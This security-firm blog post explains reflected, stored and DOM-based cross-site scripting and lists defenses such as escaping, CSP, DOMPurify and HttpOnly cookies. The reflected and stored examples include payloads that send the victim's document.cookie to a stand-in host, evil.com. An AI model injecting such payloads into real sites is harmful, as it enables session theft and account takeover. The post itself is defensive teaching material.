Back to blog
webXSStechnique

XSS explained: reflected, stored, DOM-based — how to protect yourself

Published on 2026-04-028 min readFlorian

What is XSS

Cross-Site Scripting lets an attacker inject JavaScript into another user's browser. The consequences range from session theft to full account takeover. It's the most widespread web vulnerability: it appears in over 60% of the applications we audit at CleanIssue.

Reflected XSS

The malicious script is included in the URL or a request parameter. The server returns it directly in the HTML response without sanitization. The attacker sends a crafted link to the victim.

Concrete example: a search page displays Results for: [term] without escaping. The URL /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> executes the script in the victim's browser.

Common vectors: search pages, custom error messages, redirects with unvalidated parameters.

Stored XSS

The script is stored server-side (database, file) and served to every user who views the resource. This is the most dangerous type because it requires no interaction from the victim beyond normal browsing.

Concrete example: a comment field accepts HTML. An attacker posts <img src=x onerror=fetch('https://evil.com/'+document.cookie)>. Every visitor to the page executes the script.

Common vectors: comments, user profiles, uploaded file names, form fields displayed in admin dashboards.

DOM-based XSS

The script executes entirely client-side. The server never sees the payload. The page's JavaScript reads an untrusted source (location.hash, document.referrer, postMessage) and inserts it into the DOM without sanitization.

Concrete example: document.getElementById('greeting').innerHTML = 'Hello ' + location.hash.slice(1). The URL /page#<img src=x onerror=alert(1)> triggers execution.

Common vectors: React apps using dangerouslySetInnerHTML, client-side templates, third-party widgets reading URL parameters.

Defenses that work

  • Contextual escaping: escape characters based on context (HTML, attribute, JavaScript, CSS, URL). Modern frameworks like React escape by default, except when you use dangerouslySetInnerHTML.
  • Content Security Policy: a strict CSP header (script-src 'self') blocks inline script execution even if an injection succeeds. It's the most effective defense-in-depth measure.
  • Input validation: reject data containing unexpected characters for the context. A username doesn't need < or >.
  • DOMPurify client-side: if you must render user-supplied HTML, use a proven sanitization library like DOMPurify. Never roll your own filter.
  • HttpOnly and SameSite cookies: even if an XSS fires, cookie theft is prevented if cookies are flagged HttpOnly. The SameSite=Strict flag blocks automatic sending to third-party domains.
  • Mistakes we see most often

  • Escaping in HTML but not in JavaScript attributes
  • Trusting a WAF to block XSS (bypasses are trivial)
  • Forgetting XSS in server-generated HTML emails
  • Not testing hidden fields or reflected HTTP headers
  • Request a free CleanIssue diagnostic to check your XSS exposure across all your public-facing surfaces.

    Related articles

    Three adjacent analyses to keep exploring the same attack surface.

    Sources

    Written by Florian
    Reviewed on 2026-04-02

    Editorial analysis based on official vendor, project, and regulator documentation.

    Related services

    If this topic maps to a real risk in your stack, these are the most relevant CleanIssue audits.

    Need an external review of your HR SaaS?

    Share your product, stack, and client context. We will come back with the right review scope.

    Discuss your audit